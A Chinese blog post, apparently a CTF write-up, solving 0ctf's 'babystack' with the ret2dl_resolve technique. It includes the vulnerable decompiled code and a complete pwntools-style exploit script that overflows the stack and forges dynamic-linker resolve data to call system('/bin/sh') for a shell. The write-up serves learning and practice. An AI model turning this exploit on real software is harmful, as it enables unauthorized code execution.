zoukankan      html  css  js  c++  java
  • 0ctf_babystack_ret2dl_resolve

    前言

    0ctf 的一道 babystack ,练习一下 ret2dl_resolve 技术。

    程序分析

    int __cdecl main()
    {
      alarm(0xAu);
      my_read();
      return 0;
    }
    
    ssize_t my_read()
    {
      char buf; // [esp+0h] [ebp-28h]
    
      return read(0, &buf, 0x40u);
    }
    

    程序很简单,而且没有开启 pie 跟 canary ,直接常规 rop 就可以了。这里我们不用常规方法,试试 ret2dl_resolve 。

    利用过程

    ret2dl_resolve 的原理就不细讲了,网上有很多资料。这题的思路就是在 bss 段伪造 resolve_data ,达到在没有 leak libc 的情况下,同样可以调用 system 来 get shell 的目的。这里用的是 pwn_debug 的方法,原型如下:

    def build_normal_resolve(self,base,function_name, resolve_target)
    
        return evil_addr,resolve_data,resovle_cal
    

    base:要放入 resolve_data 的地址。
    function_name:需要调用的函数的名称
    resolve_target:got 表的地址,也就是最终真实函数地址需要写入的地址。一般来说,这个地址给个可写地址即可。

    最后将返回三个数据
    evil_addr:建议放入 resolve_data 地址,该地址将 ndx 变为 0 。
    resolve_data:伪造的结构,如符号数据。
    resolve_call:也就是 p32(plt0)+p32(fake_reloc_offset)。

    exp

    from pwn_debug import *
    
    pdbg=pwn_debug("./babystack")
    
    #pdbg.context.terminal=['tmux', 'splitw', '-h']
    
    pdbg.local()
    #p=pdbg.run("local")
    p=pdbg.run("local")
    elf=pdbg.elf
    libc=pdbg.libc
    
    
    
    def pwn():
    
        p3_ret=0x080484e9 #: pop esi ; pop edi ; pop ebp ; ret
        pebp_ret=0x080484eb #: pop ebp ; ret
        leave_ret=0x080483a8 # : leave ; ret
    
    
    
        bss_addr=0x804a000+0x500
        ret2dl_resolve=pdbg.ret2dl_resolve()
    
        addr,resolve_data,resovle_call=ret2dl_resolve.build_normal_resolve(bss_addr,'system',bss_addr+0x400)
        
        print 'addr:' + hex(addr)
        print 'len_resolve_data:' + str(len(resolve_data))
        print 'resovle_call:' + resovle_call
        
        #pdbg.bp(0x8048456)
        payload='a'*0x28+p32(addr+len(resolve_data)+0x40)+p32(elf.plt['read'])+p32(leave_ret)+p32(0)+p32(addr)+p32(0x1000)
        p.send(payload)
        payload=resolve_data+'a'*0x44+resovle_call
        payload+=p32(0)+p32(addr+len(payload)+8)+'/bin/shx00'
        
        p.send(payload)
    
        
        p.interactive() #get the shell
    
    if __name__ == '__main__':
       pwn()
    
    

    遇到问题

    exp 构造的时候需要在 resolve_data 跟 resovle_call 填充 0x44 个字节,其实按理说这个填充的数量应该是不影响的,但是这里只有填充 0x44 个字节才可以,并且在其他题目中也得到了验证。如果使用了其他填充数值,则在 _dl_lookup_symbol_x 中会绕不过如下判断,最终调用 _dl_signal_cerror 报错。

      if (__glibc_unlikely (current_value.s == NULL))
        {
          if ((*ref == NULL || ELFW(ST_BIND) ((*ref)->st_info) != STB_WEAK)
    	  && skip_map == NULL
    	  && !(GLRO(dl_debug_mask) & DL_DEBUG_UNUSED))
    	{
    	  /* We could find no value for a strong reference.  */
    	  const char *reference_name = undef_map ? undef_map->l_name : "";
    	  const char *versionstr = version ? ", version " : "";
    	  const char *versionname = (version && version->name
    				     ? version->name : "");
    
    	  /* XXX We cannot translate the message.  */
    	  _dl_signal_cerror (0, DSO_FILENAME (reference_name),
    			     N_("symbol lookup error"),
    			     make_string ("undefined symbol: ", undef_name,
    					  versionstr, versionname));
    	}
          *ref = NULL;
          return 0;
        }
    

    这里具体原因没有搞明白,以后有时间具体研究一下。

    内容来源

    https://github.com/ray-cp/pwn_category/tree/master/stack/ret2dl_resolve

  • 相关阅读:
    element:记一次重置表单引发提交数据为默认数据现象
    三种常用又简单的排序算法
    (07)GitHub从2021.08.13开始使用Token代替账号和密码
    does not implement methodSignatureForSelector:
    自用python库
    2048
    CCSP2021游记
    2021 CCPC 桂林站游记
    2021 ICPC 沈阳站游记
    2021SDU新生赛游记
  • 原文地址:https://www.cnblogs.com/luoleqi/p/13644123.html
Copyright © 2011-2022 走看看